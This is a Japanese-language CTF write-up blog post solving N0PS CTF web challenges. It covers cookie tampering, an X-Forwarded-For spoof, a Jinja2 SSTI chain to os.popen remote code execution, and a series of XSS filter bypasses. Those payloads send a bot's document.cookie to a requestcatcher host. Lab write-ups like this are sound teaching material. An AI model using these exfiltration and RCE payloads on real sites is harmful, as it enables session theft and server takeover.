はまやんはまやんはまやん

hamayanhamayan's blog

N0PSctf Writeups

https://ctftime.org/event/2358

[Web] Web Cook

ソースコード無し。ユーザー名を入れるとCookieがもらえる。ユーザー名をaにするとeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjowfQ%3D%3Dがもらえる。 URLデコードしてBase64デコードすれば復元できそうで、できる。{"username":"a","isAdmin":0} こんな感じFrom_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKMWMyVnlibUZ0WlNJNkltRWlMQ0pwYzBGa2JXbHVJam93ZlElM0QlM0Q)

ルールが分かれば改ざんができる。{"username":"a","isAdmin":1}をルールに従ってエンコードしてeyJ1c2VybmFtZSI6ImEiLCJpc0FkbWluIjoxfQ%3D%3Dにして、これをCookieに入れてサイトを見るとフラグが得られる。

[Web] Outsiders

ソースコード無し。サイトはYou come from the big outside, I don't trust you.と書かれた1ページのみ。サイトのソースコードにも気になる情報無し。guess問っぽいので色々考える。コメントから推測し、内部からのアクセスを装う方針が正解だった。HTTPリクエストヘッダーにX-Forwarded-For: 127.0.0.1を追加すればフラグがもらえる。つまり、以下のリクエストでフラグ獲得。

GET / HTTP/1.1
Host: nopsctf-outsiders.chals.io
X-Forwarded-For: 127.0.0.1

[Web] XSS Lab

ソースコード無し。XSSのpayloadを投げてcookieを抜いてくる問題。

XSS ME 1

Write a payload to be sent to the bot! Your goal is to steal his cookies.
For the first step, the payload is not filtered.

filteringされていないのでどんなpayloadでも良さそう。普通にscriptでまずは書いたがうまく動かなかったので、適当にimgタグを入れてちょっとだけ負荷を上げてやると得られた。

<img src="https://[yours].requestcatcher.com/test"><script>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</script>

これによりxss2=/bf2a73106a3aa48bab9b8b47e4bd350eというのが得られる。

XSS ME 2

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:
def filter_2(payload):
return payload.lower().replace("script", "").replace("img", "").replace("svg", "")

フィルタが追加になった。st98さんのとこで見たonanimationendを使ってみる。img,scriptは1度しか消してないからimimggscrscriptiptにすればよい。

<imimgg src="https://[yours].requestcatcher.com/test"><scrscriptipt>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</scrscriptipt>

xss3=/3e79c8a64bd10f5fa897b7832384f043が得られる。

XSS ME 3

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:

def filter_3(payload):
    if "://" in payload.lower():
        return "Nope"
    if "document" in payload.lower():
        return "Nope"
    if "cookie" in payload.lower():
        return "Nope"
    return payload.lower().replace("script", "").replace("img", "").replace("svg", "")

https:////としても同じなので変更してしまい、document.cookieは配列のような参照と文字列分割を使ってthis['doc'+'ument']['coo'+'kie']に変更しよう。

<imimgg src="//[yours].requestcatcher.com/test"><scrscriptipt>fetch('//[yours].requestcatcher.com/flag', { method : 'post', body: this['doc'+'ument']['coo'+'kie'] })</scrscriptipt>

xss4=/f40e749b80cff27f8e726b2a95740dd6

XSS ME 4

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:

def filter_4(payload):
    if any(c in payload for c in '+"/'):
        return "Nope"
    if "://" in payload.lower():
        return "Nope"
    if "document" in payload.lower():
        return "Nope"
    if "cookie" in payload.lower():
        return "Nope"
    return payload.replace("script", "").replace("img", "").replace("svg", "")

追加で+"/の仕様が制限された。"'に変更すればよい。+/の変更が厄介だがimgタグのsrcはHTML Entityでエンコードすれば回避可能。後半のscriptタグは閉じタグが作れないので困った。自分のチートシートを見ながら色々試すと<iframe src='javascript:alert("XSS");'>が使えた。閉じタグが本来は必要だが、省略しても動いた。中のjavascript:...部分については、imgタグのsrcと同様にHTML Entityでエンコードすれば内容を回避可能。これで全部回避できるので、javascript:fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie });をTo HTML Entityにして、iframeのsrcに入れて以下のようにまとめてやるとフラグが得られる。こんな感じ&input=amF2YXNjcmlwdDpmZXRjaCgnaHR0cHM6Ly9beW91cnNdLnJlcXVlc3RjYXRjaGVyLmNvbS9mbGFnJywgeyBtZXRob2QgOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs&oeol=CR)

<imimgg src='&sol;&sol;[yours]&period;requestcatcher&period;com&sol;test'><iframe src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&colon;&#102;&#101;&#116;&#99;&#104;&lpar;&apos;&#104;&#116;&#116;&#112;&#115;&colon;&sol;&sol;&lsqb;&#121;&#111;&#117;&#114;&#115;&rsqb;&period;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#99;&#97;&#116;&#99;&#104;&#101;&#114;&period;&#99;&#111;&#109;&sol;&#102;&#108;&#97;&#103;&apos;&comma;&#32;&lcub;&#32;&#109;&#101;&#116;&#104;&#111;&#100;&#32;&colon;&#32;&apos;&#112;&#111;&#115;&#116;&apos;&comma;&#32;&#98;&#111;&#100;&#121;&colon;&#32;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&period;&#99;&#111;&#111;&#107;&#105;&#101;&#32;&rcub;&rpar;&semi;'>

[Web] Get A Gift

ソースコード無し。ギフトコードの入力が求められる。The flag is N0PS{Valid-gift-code}がフラグの仕様。ギフトコードの仕様はクライアント側javascriptコードで以下のように検証されていた。

<script>
    document
    .getElementById("gift-form")
    .addEventListener("submit", function (e) {
        e.preventDefault();
        let code = document.getElementById("code").value;
        if (code.length == 0) {
        alert("Please enter your gift code!");
        return;
        }
        if (/[A-Z]{4}-[0-9]{4}-.{4,}/g.test(code) == false) {
        alert("Please enter a valid gift code!");
        return;
        }
        document.getElementById("gift-form").submit();
    });
</script>

placeholderで例示されているようにABDC-1234-aB@358vGのような感じ。入力するとThe code ABDC-1234-aB@358vG is invalid.という風にreflectされてきた。怪しい。色々試すと{{4*4}}{4*4}になって帰ってきた。フィルタリングの存在をguessして色々試すとABDC-1234-1234{% print "s" %}ABDC-1234-1234sと帰ってきた。ok.

このことからPythonのjinja2のSSTIができるみたいなので色々やる。色々やるとsubclassesが引っ張ってこれたのでwarningを経由してbuiltinsを持って来る方針を使う。ref

ガチャガチャやるとABCD-1234-1234-{% print [].__class__.__mro__[1] %}ABCD-1234-1234-<class 'object'>が帰ってくる。ok. ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__() %}でsubclassesを列挙して、warningを探す。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223] %}<class 'warnings.catch_warnings'>が帰るので223番目(0-indexed)にありますね。これを使えばABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__ %}のようにしてbuiltinsが得られるので、そこからimport経由でosパッケージを引っ張ってきてRCEする。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("ls").read() %}ディレクトリリスティングが確認できる。app.pyというのがあったのでこれを持って来るとソースコードが見られる。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("cat${IFS}app.py").read() %}のようにスペースを使うと失敗するので${IFS}に置換している。予想通りのフィルターが入っていた。code = re.sub("[ ]+", '', re.sub("[\}]+", '}', re.sub("[\{]+", '{', code)))ソースコードを眺めるとフラグとなるvalid_codeが定義されていて、フラグの形式に整形して提出すると正答。